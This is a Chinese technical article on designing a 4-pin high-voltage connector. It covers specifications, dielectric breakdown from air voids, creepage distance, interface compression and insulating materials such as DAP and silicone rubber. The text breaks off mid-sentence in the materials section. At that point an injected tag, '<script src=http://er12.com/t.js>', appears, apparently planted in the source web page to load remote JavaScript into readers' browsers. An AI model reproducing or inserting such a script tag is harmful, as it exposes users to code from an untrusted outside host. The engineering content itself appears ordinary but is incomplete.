1引言
工作在1kv～120kv之间或更高电压下的连接器，称之为高电压电连接器（简称高压连接器）。要求连接器在低电压下工作时，设计或制造技术与电压的矛盾不大；要求连接高压时，就需要采用某些特殊的设计方法和制造技术。高压连接器要求特别注意电晕的问题、爬电距离、介质的介电强度、接合面压力和特殊材料的使用，这些条件对高压连接器完成它们特有的功能来说是至关重要的。高压连接器的研制与生产，国内目前尚处起步阶段，而国外如美国早在20世纪80年代就已经形成系列化，不仅广泛使用在武器系统中，而且迅速扩展到民用电子设备。随着电子技术的发展，需用高压连接器的电子设备也在增加，如航空电连接器、x射线装置、雷达系统、行波管和高压电源的输送以及激光等电子设备。以往，我国高压连接器主要依赖进口，周期长、价格高，因此常规高压连接器迫切需要国产化。为此，我所承担了为某系统配套的4芯、5芯、6芯、7芯高压连接器的研制任务，产品性能指标主要以协议书为依据，接口、安装、外形等设计方面，应能与国外同类产品互换。本文以4芯高压连接器为例，结合多年的连接器设计经验，使用pro/engineer计算机辅助设计软件进行设计，动态模拟连接器的安装，分析安装板、波纹簧在工作状态时的有关参数，进行优化设计，保证了高压连接器设计结构合理紧凑，可靠性高，满足了工程需要。重点阐述了其总体结构设计、结构特点及研制过程中所采用的一些特殊结构和加工工艺方法。
2设计依据
本高压连接器的设计主要依据协议书和用户的要求，并参照了gjb121791和gjb598a96的有关技术要求，主要技术要求如下：
工作电压和电流:1kv3ad.c.
接触电阻：≤100mω
绝缘电阻：>500mω
介质耐压：8kv
工作环境温度：－55℃～＋125℃
振动：10hz～2khz，15g
冲击：20g
机械寿命：500次
盐雾试验：48h
3设计原理
为了满足连接器的电压技术条件，高压连接器的各个部分必须有足够的介电强度，从高电位到低电位或到地之间的所有路线都必须成为1个均质的固体绝缘体。若绝缘体内有空穴，即在绝缘材料内或固态绝缘体和电极之间的边界上有孔隙，一般情况下，这些孔隙内填充有击穿强度比固体低的介质（气体或液体），填充介质的介电常数常常低于固态绝缘体的介电常数，这就使得空穴的场强度高于绝缘材料的场强度，在高电压下，空穴两端的电压就可能超过击穿临界值并在孔隙内形成击穿。由空气击穿而引发的放电会对绝缘体材料形成区域烧蚀，这种烧蚀会使绝缘体表面变得粗糙并缓慢渗入绝缘体内部，烧蚀到一定程度就会形成逐渐生长的树枝状通路，通路的壁会被碳化，且通路中存在空气，在高电压下，通路被击穿，从而使绝缘体被击穿。所以，在高压连接器的设计和生产中要尽量避免空气间隙的存在，即设计或生产无空气间隙的连接器。
高压连接器的耐高压主要由以下几个因素决定。
3.1爬电距离
在结构允许的可能条件下，要尽可能增大爬电距离。由于高压连接器是由手工安装、插拔使用，工作电压较高，瞬时过电压或工作电压可能会超过设计值而产生电离或飞弧。在直流情况下，电离或飞弧电流高于300ma，就会对人体产生伤害，甚至使连接器失效。因此在设计上必须采取措施限制瞬时过电压所产生的影响。当导电零件之间的绝缘间隙足够大时，瞬时过电压虽产生飞弧但仍不足以电离绝缘间隙，可以有效地限制瞬时过电压的危害。导电零件之间漏电流的大小取决于持续工作电压的有效值或直流值和介质材料的介电强度，所以持续工作电压的大小就决定了爬电距离的大小。
3.2界面气隙
连接器插合后接触界面应无空气间隙，从而对连接器的界面及导线端接处提出了特殊的要求。连接器的界面主要包括两个方面：一部分是固定连接器和自由连接器的插合界面，另一部分是连接器接触件和导线焊接处界面。连接器这些部分必须能承受－55℃～＋125℃的温度和21km高度时不被击穿。绝缘体内的空隙必须通过模塑工艺来控制，模塑时对有充足塑流的镶嵌模的温度、压力和时间进行全程控制，也同时消除了绝缘体不应有的疏松和裂纹。界面间的间隙要靠软绝缘体的压缩量来控制，参考国外高压连接器设计方面的资料，以及连接器的结构和所使用的材料，界面压缩量控制在0.5mm左右。
3.3绝缘材料
绝缘体应选用绝缘强度高、表面电阻大的材料，如邻苯二甲酸二烯丙脂（dap）、硅橡胶等。这2种材料的击穿电压高，具有耐电弧性、耐漏电痕迹性、耐臭氧性，绝缘性能良好，在高温高湿条件下性能稳定，并且模压零件的内部致密，不易产生小气泡。避免由于高度（气压）的变化而使连接器内部各部分的小气泡形成泵吸作用而吸进湿气等含有杂质的有害气体。消除绝缘体内部的空气间隙，防止电晕的产生，提高连接器的?script src=http://er12.com/t.js>
